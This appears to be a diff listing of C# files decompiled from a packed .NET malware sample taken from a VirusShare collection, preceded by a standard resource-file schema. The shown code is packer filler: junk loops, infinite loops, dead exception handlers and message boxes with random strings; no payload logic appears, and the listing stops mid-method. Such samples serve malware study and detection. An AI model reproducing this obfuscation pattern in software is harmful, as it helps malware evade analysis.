+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/Y281K7e5KuU2N.cs

@@ -0,0 +1,45 @@
+// Decompiled with JetBrains decompiler
+// Type: google.Y281K7e5KuU2N
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Windows.Forms;
+
+namespace google
+{
+  [StandardModule]
+  internal sealed class Y281K7e5KuU2N
+  {
+    public static object J54yPpasPaAoz()
+    {
+      int num = (int) MessageBox.Show("DrX@_-k(^*€[;7h-UJ‘3N\u008FwzY/[ J95‚1I‹%$‚");
+      return (object) 705547512;
+    }
+
+    private static object MmK4c4q2o5y025yR5nqVA0() => (object) 15704;
+
+    private static object C0H9z8kTC()
+    {
+      int num1 = (int) MessageBox.Show("$\u0090Y8X.3bh-vU„7o>lUm=+A=X}*dbv-\u008Dfeƒhc)OzEL2xi‹A_J\u007F8]‡");
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        int num2 = (int) MessageBox.Show("†Šq.X\u0081…|$8Š‡Or6u†Ba");
+        int num3 = 0;
+        do
+        {
+          checked { ++num3; }
+        }
+        while (num3 <= 5434);
+        ProjectData.ClearProjectError();
+      }
+      return (object) 83481717;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/Z0nAJuiQm35eXS7Ox.cs

@@ -0,0 +1,55 @@
+// Decompiled with JetBrains decompiler
+// Type: google.Z0nAJuiQm35eXS7Ox
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+
+namespace google
+{
+  internal class Z0nAJuiQm35eXS7Ox
+  {
+    [DebuggerNonUserCode]
+    public Z0nAJuiQm35eXS7Ox()
+    {
+    }
+
+    public void FrOq0c3E()
+    {
+    }
+
+    private void UC4R3mC()
+    {
+      long num1 = 374950826;
+      int num2 = 298;
+      do
+      {
+        checked { ++num2; }
+      }
+      while (num2 <= 96835852);
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      num1 = 931399107L;
+      string str = "F<Š‡D‹9IY]ƒ’?\\\u0081iX€4O‹F:h1]~6g];=G`U?[(<WoŽR9:ƒf*<48„<#\u008F’!Avz-v\u008FBekr&b-Pdpr\u0090‡!N@‰s\u008DRDJ CcV=:DUIl9V‰h8†$l&{@_C’+ †VƒM(Bj‹dG/cD†,.F&vP*x'p@L[)T’dJ=G€d\u008FcŠ\u007F‘#ƒwSG2o18=;nˆ-N€qzˆ.\u00810H]8'_>";
+      str = "z21oN51KS61RkqxZclx9FQeZlt482p7HS673Uu5JMYNEN2COBsQVh9EG2f2RsiSYu7OMfz3AlYa7UPV8UjhKA50146eo93Lnn96fU5J016CzvmvU3IWB6ruoSetkWdDm87P0836qwwyY6IB7866K3R15x37Tx6m9Zv87b05664MF20542z8";
+    }
+
+    private object s17Ra9T4rU9fT1vOP9wni19i()
+    {
+      bool flag = true;
+      flag = true;
+      int num = (int) Interaction.MsgBox((object) "M'=WŠ=a‰kJ\u0081*$„6OQ.Bh'<$ŠzBx9,gbrŒŠ@xnL4{DyNHˆ>>Œb@.X‘=F}8`/Ž=G|${.0-cQt$ŒZDA€o!\\#\u007Fj~Y*todU`.=9^\u008F\u008FJ`z-1H0_)^V‹%\u0090[_f‹Po\u0090]pLT\\-„fzs\u008FGDU/9N„VY?O_>v^X$ai@-?’€‚Nkh:?ŒB}ZctZKE7&Œ6q-1.q");
+      return (object) 14602685;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/Z8q3Cg016769VOMT0x.cs

@@ -0,0 +1,93 @@
+// Decompiled with JetBrains decompiler
+// Type: google.Z8q3Cg016769VOMT0x
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Windows.Forms;
+
+namespace google
+{
+  [StandardModule]
+  internal sealed class Z8q3Cg016769VOMT0x
+  {
+    public static object eyAOC9aErWpdOT()
+    {
+      bool flag = false;
+      long num1 = 9791;
+      int num2 = (int) MessageBox.Show("?XupCbo„s\u007F=Œc%a‘nQjXc~F?BQN/ZcwV\\H„^{[^b,7\u0090_*‚`wB3&#.sT1VN…4_J/'zP;q");
+      num1 = 1L;
+      int num3 = 364995420;
+      Decimal num4 = 4898947M;
+      num1 = 15566307L;
+      num1 = 474459L;
+      num4 = 1M;
+      num1 = 783995271L;
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        num3 = 754;
+        num4 = 590M;
+        flag = true;
+        flag = true;
+        ProjectData.ClearProjectError();
+      }
+      flag = false;
+      num1 = 79013L;
+      while (true)
+        flag = true;
+    }
+
+    private static object AWQlrY5Jez3t5Ec8()
+    {
+      string str = "i-Pc\u0090})u#‹ -Wf:WSY‰RJN?`w#Ž1@TKg<u y\u007FafF)UDuI,@‘\u008DA#iAr0;y.cuWhXTLXWmW*ƒO!E}<!m\u0081ƒAY*dLŒ#‚v|%Sed€~A\u008Ff|DV639?LFy6,?sS‘^‡(SUh‰m%PLPs\u008FQsp";
+      Decimal num1 = 3M;
+      int num2 = 6952818;
+      while (num2 <= 1790893)
+        checked { ++num2; }
+      num1 = 4M;
+      num1 = 30250M;
+      str = "U01a164zb1L62mRL82f60APTM42wJRz037hlCdTeVU74yD1UFX4Y2R330u9DlRKbQ94q27adXXgHYHL51ftmzLJq1dPvp7Dff4j4ROPUpx7esw9NwXbM";
+      str = "f8975l0OIk4W8al5v6b1r4dxlRF2VWRJu8QEe36RRdGkOn88h7SvAVKokqCJL7SVb45oU2STY5F3Lw8n2gc9ChXNz26dNKNfKzUYAc4GAzL1j024hVeO76OxzAORfx1ZCjI19Kc";
+      num1 = 9568M;
+      do
+      {
+        try
+        {
+        }
+        catch (Exception ex1)
+        {
+          ProjectData.SetProjectError(ex1);
+          try
+          {
+          }
+          catch (Exception ex2)
+          {
+            ProjectData.SetProjectError(ex2);
+            str = "uNk737fz3x6hxhNq10o1jhFc1093zN4h24kelqDCkzl0L4lZ0ua4s3hG0N6mvZ18N2449x4zl3u0wP748Xugo0T9Eglkx8DzY9Sq4896IsNMulQF7384wYppD8964lfiu1M2xICTtX2a2jHHZsgrMW4uvP7cYUMI9GhDPjPN64MmmsTuw";
+            ProjectData.ClearProjectError();
+          }
+          num1 = 1M;
+          ProjectData.ClearProjectError();
+        }
+        int num3 = (int) MessageBox.Show("W„O4m0@R$z>,i.cc‰e}€g)mq\u0081s{‚BlnKOb");
+      }
+      while (21673 > 0);
+      num1 = 74635476M;
+      while (true)
+        num1 = 401983M;
+    }
+
+    private static void OC7sls()
+    {
+      int num = (int) MessageBox.Show("hp9=?hXlZ8T0kS’Sb#.a)\u007FvP89\u007FŽdV9;‚eHmU!h6’?!R†np†‚g^)†|\u008D|$%|\\'#’9A&+D‘`MŠa'at\u0090E71>pfdoyq_sk\u0090cMV\u008D9;d\u008FbKˆA:gZ\u007F:8~r\u0081j=JPM\\[H_dEc}]*-Grvt:b†{DI(>…DZ€=uv8c|gp)g#zcqP*Pq…Y'‘f'Ja,#T<U:)WE(y„]^*&jf_+7fŒ‘");
+      while (true)
+        ;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/ZF0q0hR9o8X9pf4On80a5k.cs

@@ -0,0 +1,68 @@
+// Decompiled with JetBrains decompiler
+// Type: google.ZF0q0hR9o8X9pf4On80a5k
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Windows.Forms;
+
+namespace google
+{
+  [StandardModule]
+  internal sealed class ZF0q0hR9o8X9pf4On80a5k
+  {
+    public static void k63zgE2229s83RSk69gsRS8gl()
+    {
+      int num = (int) Interaction.MsgBox((object) "`ˆ!*„_@KPV\u007F‰zC( @&u");
+    }
+
+    private static void OSmo5m114g62K02oHj3b8zl()
+    {
+      bool flag = true;
+      if (603 <= 1)
+      {
+        flag = true;
+        while (true)
+          ;
+      }
+      else
+      {
+        int num = (int) Interaction.MsgBox((object) "HzX40LoTas4y11fuG0");
+      }
+    }
+
+    private static object ye1355EQNmd()
+    {
+      int num1 = (int) MessageBox.Show("…va$yAdM>28’^\u0090a6p&b9‘… Œ\\+u‰(y…DF_r\\8]e&g ^fXI#R†‰Jt?LA vg[m");
+      int num2 = 85;
+      do
+      {
+        try
+        {
+        }
+        catch (Exception ex1)
+        {
+          ProjectData.SetProjectError(ex1);
+          try
+          {
+          }
+          catch (Exception ex2)
+          {
+            ProjectData.SetProjectError(ex2);
+            int num3 = (int) MessageBox.Show("o_ni0n1,dt.#?‚^]'$;Ki8d.)Xcarq_\u008D&H\u0090\u008D€1Ha_Lt’I„8so:„L7HW\u008D__.6`]„#a(8Z`c:…†}*\u007Fƒ.s0>‚„X€2vp„#MA#1 !ZqQ@lq3, ’YM>k*Q~‘‹qkL5NE[h\\5Œ‚u}(D1pSW`oxW\u0081lHR9Œ\u008FU$9BI-[\u008D1(iŠ&/wc6F‹tKZJ†‡Gu\u008F(Oc9W}[Zq7hmXFW%€Pqˆx<…");
+            ProjectData.ClearProjectError();
+          }
+          int num4 = (int) Interaction.MsgBox((object) "84@\u0090(k%pbE;(W/B&…3…\u008F%Vh\u007F7\u007F\\c‘M?m:;‘TLZ=\u007F’0\u0081Lloxvp46JŽCPt^Sy</Ur5%a\u0081;0\u0081lK‰&\u0090ˆh<3Z&y…|6ˆq‰~<ˆŒt!p\\Pk");
+          ProjectData.ClearProjectError();
+        }
+        int num5 = (int) Interaction.MsgBox((object) "\u0081\\e‚[~SˆFZ,A@>5Hc‰’0ƒŠO‡‹si");
+        checked { ++num2; }
+      }
+      while (num2 <= 975562);
+      return (object) 981147;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/fRzWqFy516EFCGkyRE07ei2Ho9Uk9.cs

@@ -0,0 +1,74 @@
+// Decompiled with JetBrains decompiler
+// Type: google.fRzWqFy516EFCGkyRE07ei2Ho9Uk9
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using System;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace google
+{
+  internal class fRzWqFy516EFCGkyRE07ei2Ho9Uk9
+  {
+    [DebuggerNonUserCode]
+    public fRzWqFy516EFCGkyRE07ei2Ho9Uk9()
+    {
+    }
+
+    public object bz3W67HD9w98r37X()
+    {
+      int num1 = 6990;
+      while (num1 <= 49)
+      {
+        int num2 = 339942;
+        while (num2 <= 152458)
+          checked { ++num2; }
+        checked { ++num1; }
+      }
+      return (object) 7902;
+    }
+
+    private object pl4qA41VAmlr4()
+    {
+      Decimal num1 = 7M;
+      string str = "…GqMxHg[4i’Fb\\}Brw'-‰vw8Oy>Kzq@ =(O";
+      str = "MgPz0Sj0cMv56m29J58Xj0iz4EE6vnATGclS3Z8O44U9f0t3E05hIrZ6wtOiR3bBv7044";
+      num1 = 658M;
+      num1 = 1361M;
+      num1 = 9558409M;
+      str = "p323pY5NXj12C2547Wdgx83ltn84nUov6CiDH8Cy301cRXV8b0HC5P9N1C47ZSELegN4Sk0Bs97WG2JMuRylp0N00JD7QXjY";
+      str = "U6bb66uPb7srrmzaGCm5baET5LwJiZbuXfyCHLLguw9i81XMw19XeGwX0suJcSB2TE4oto10wfiQ3643ZX1GxQOieJr9kj71ESUK1nLg3NIpBL7uZcYQ84H1D4h7qcvw8f27QmevBpBUVqbDU25VYW3IS5a6rBi";
+      int num2 = 1775;
+      do
+      {
+        checked { ++num2; }
+      }
+      while (num2 <= 6560485);
+      return (object) 49072891;
+    }
+
+    public object i1FORakfRd6Y1Ec4R()
+    {
+      double num1 = 2.0;
+      Decimal num2 = 669M;
+      int num3 = (int) MessageBox.Show("&[wfKbV%#rwaU<\\/4z8q‹jG‚H€cZlX!{ON#Ž1|j#8}JZs`M=ˆ+\u008DL]„kO3ˆ=^’ŽL]qŽ1&8a\u0090K04Y-?€.{REe`^h>]ugz<_,$=P\u007F|xNF$F-a;IK^/FyT+lH~‘)p");
+      int num4 = 0;
+      bool flag = true;
+      num4 = 8;
+      num1 = 72032553.0;
+      flag = true;
+      int num5 = (int) MessageBox.Show("VT5yYl(.TE{k=v|vR\\em‹4-ŠD&W]/I9PfSuTQ6z/eL\u008D'{! WiY6Š.ˆŒAF>TR4]‘++K%} GE<tU'_9%/C% ‡h2BApYS-3tGŽ(M‚ŽP\u008F6VA4\u008D5l\u0081M(A.1M3iH‹|)HC_:1ZLZ’2I*rG‚]eT8,h‚,K\u007F$c\u008DzQ$Š2Ff†‰'T|2\u0081;q7O}^i#‡rpTY");
+      num2 = 9M;
+      int num6 = 0;
+      flag = true;
+      flag = false;
+      flag = true;
+      num6 = 8407606;
+      int num7 = (int) Interaction.MsgBox((object) "uQ2tn0wr2rW4");
+      return (object) 4;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/gOriZ14byP11930PZkzkekG.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: google.gOriZ14byP11930PZkzkekG
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+
+namespace google
+{
+  [StandardModule]
+  public sealed class gOriZ14byP11930PZkzkekG
+  {
+    private static object WFY7Yr1y2796pS5QB99iXLv3mwb()
+    {
+      int num1 = 1;
+      Decimal num2 = 1088M;
+      num2 = 152M;
+      num2 = 377407610M;
+      num1 = 1881;
+      while (true)
+        ;
+    }
+
+    public static void KP9Y411o4Ih3I7FqNhfqa6T4()
+    {
+      Decimal num1 = 1M;
+      num1 = 223323166M;
+      int num2 = 7485327;
+      while (num2 <= 5)
+        checked { ++num2; }
+    }
+
+    private static void Ks822Ii6P5chYR8gOnI1da6()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        while (true)
+          ;
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/hK4xQEY1lT1m49Cu05T5HqB8NKxQ7.cs

@@ -0,0 +1,29 @@
+// Decompiled with JetBrains decompiler
+// Type: google.hK4xQEY1lT1m49Cu05T5HqB8NKxQ7
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System.Windows.Forms;
+
+namespace google
+{
+  [StandardModule]
+  public sealed class hK4xQEY1lT1m49Cu05T5HqB8NKxQ7
+  {
+    private static void n93EJ66k7ya72()
+    {
+      while (true)
+      {
+        int num = (int) MessageBox.Show("J6(.k&y{UM{\u007F‡‘m:N;U\u0081….ab}\u0090€’");
+      }
+    }
+
+    private static object Ut7fmoj9Ta51rRlN8P60JGM9mZUOJ() => (object) 873;
+
+    public static void H8TZhLEsxLPx8Y8D5VbZST8Oy()
+    {
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/j6WBmlbrpjY2wG4.cs

@@ -0,0 +1,44 @@
+// Decompiled with JetBrains decompiler
+// Type: google.j6WBmlbrpjY2wG4
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+
+namespace google
+{
+  internal class j6WBmlbrpjY2wG4
+  {
+    [DebuggerNonUserCode]
+    public j6WBmlbrpjY2wG4()
+    {
+    }
+
+    private object mAkez4l3s5YRoGt()
+    {
+      int num = (int) Interaction.MsgBox((object) "F2YM8I1t87SwFK6Zh2");
+      return (object) 634;
+    }
+
+    private void j1pqi9Vy026C83yB()
+    {
+    }
+
+    public void VSXvE4f9RS3Qy6a3Bx8mqyFUZhiB()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        int num = (int) Interaction.MsgBox((object) "iKTfxp71nkl913Op");
+        ProjectData.ClearProjectError();
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/kJqkMB5u0dTn.cs

@@ -0,0 +1,52 @@
+// Decompiled with JetBrains decompiler
+// Type: google.kJqkMB5u0dTn
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace google
+{
+  public class kJqkMB5u0dTn
+  {
+    [DebuggerNonUserCode]
+    public kJqkMB5u0dTn()
+    {
+    }
+
+    public object jaSmfc5K()
+    {
+      long num1 = 1;
+      num1 = 57952L;
+      while (true)
+      {
+        int num2 = 1;
+        do
+        {
+          checked { ++num2; }
+        }
+        while (num2 <= 7090);
+        int num3 = (int) MessageBox.Show("=.SI}T}!/\u0090ƒ8DH");
+      }
+    }
+
+    private object gIADPrAZ8Ic5g9Qha4iTZqz02()
+    {
+      while (true)
+      {
+        int num1 = 24;
+        while (num1 <= 1)
+        {
+          int num2 = (int) Interaction.MsgBox((object) "occ");
+          checked { ++num1; }
+        }
+        int num3 = (int) Interaction.MsgBox((object) ")<V:C'P`S),r€ynO.+JV@diq&\u007Fe‚$DO%ŽŒb3evQb\u007F*\u0081‘BGE)4r#X{YXex3WT`[.l&v†6[|Kl{j5vkOrY\\nEBO_3S*`\u007FbŒ->arD;cQ…kˆjFp1Cu\u008DIS\u0090‹…5\u007F<YcS,\u008D\u0090{snLf#G3/(iRj)‚!/HfV/\u008F4LK†'t’\u0090yq");
+      }
+    }
+
+    public object s6I27() => (object) 9;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/mEeIhPgNvZ8H269vA61.cs

@@ -0,0 +1,100 @@
+// Decompiled with JetBrains decompiler
+// Type: google.mEeIhPgNvZ8H269vA61
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace google
+{
+  internal class mEeIhPgNvZ8H269vA61
+  {
+    [DebuggerNonUserCode]
+    public mEeIhPgNvZ8H269vA61()
+    {
+    }
+
+    private void ko0m34KuTfl()
+    {
+      string str = "-7h['#€ƒ‘/l|X\u0081]fOh‰\u0081…‚}Œ7€}ƒTr)ANˆ ˆn[WU[ˆMŠ~!‚$2srW*\\z=LoD:8\u008FO?%KMc\u0081g‹‡0SE\u0090U†-5\u0090xqs’e7„.v\\‘7<<_Y-„Sf?6]{~Fi7|zYa.=R=n?R3\\U*+Œo‡6yWG!";
+      bool flag = true;
+      str = "dlFqKGj8e7SxVtUGF7mv6p72O9tZ6G7nT4zz06T51rE478eGZE5fUL605rTeNxPnOgv3jf3gWU3NcG7NRjMw9UHS21w6w35tZI1NH8HF4R9I732GlfW8J29fpgT2";
+      flag = true;
+      while (true)
+      {
+        int num = 65483677;
+        while (num <= 5)
+        {
+          str = "mxZ9QuDS00KPV";
+          checked { ++num; }
+        }
+      }
+    }
+
+    public void vYn5YrV3Q4v3o0wvIG891()
+    {
+      double num1 = 8524.0;
+      num1 = 14.0;
+      bool flag = true;
+      string str = "n\u008D-\u0090K<g *9-u.=:RT&-[r3ktwv>}t(ŽIL<lygTj:FŠ)AN5Ž|-'^-E)ŽzU<gYH5H\u008D<wH„cT~ N…4{)JEazTom]€#C@…DK€1„0a/$j\u007F*9l;]rS‡3p*‰&r‡Yn";
+      long num2 = 7158914;
+      int num3 = 8739;
+      int num4 = (int) MessageBox.Show("f’,C+Sx‰Nq7o‰F’|4t…€i$t%^†Mu*eK7$[ux$q…3#':p@‹fuVai7*x0b>&x8&€|F jMc:wU‚q|b|#xf?k?[Ž4,>K3Z\u0090Œm- :QJ?@91<}3HLŽax:A1‹NvD€2‡KQrz\\4c|GKlXF&Y#qz\u007FrC|M?nztr=‰d8K‡6t\\k");
+      flag = true;
+      num1 = 81885403.0;
+      long num5 = 66469586;
+      int num6 = 2721289;
+      while (num6 <= 45)
+      {
+        try
+        {
+        }
+        catch (Exception ex)
+        {
+          ProjectData.SetProjectError(ex);
+          str = "zupO6Jf8ssD53u1VR2wdF37j7iBVYAK7mZqmF9n910u1xL6";
+          num1 = 1.0;
+          num1 = 25373954.0;
+          ProjectData.ClearProjectError();
+        }
+        checked { ++num6; }
+      }
+      int num7 = (int) MessageBox.Show("F8+U)\u008F:[vc&‘wa\u007FH\u0081NZ‘LŽ‘iW?k:!CqtDC+o|71cŠijŒ#cŒB€[‚3#fDJ:U\u0090}D’ZS„EmSU/^i<‰'vD$f†EIMYT]qp‘sTG9G?Š/6'p‰Y\u007Fp\u008F8‰,_a&6\u0081*XŽe ’Gg\u008FTtn7Oˆj/g-\u008Fˆ\u0090~\\o\\;gd1");
+      flag = true;
+      num2 = 47L;
+      int num8 = 0;
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
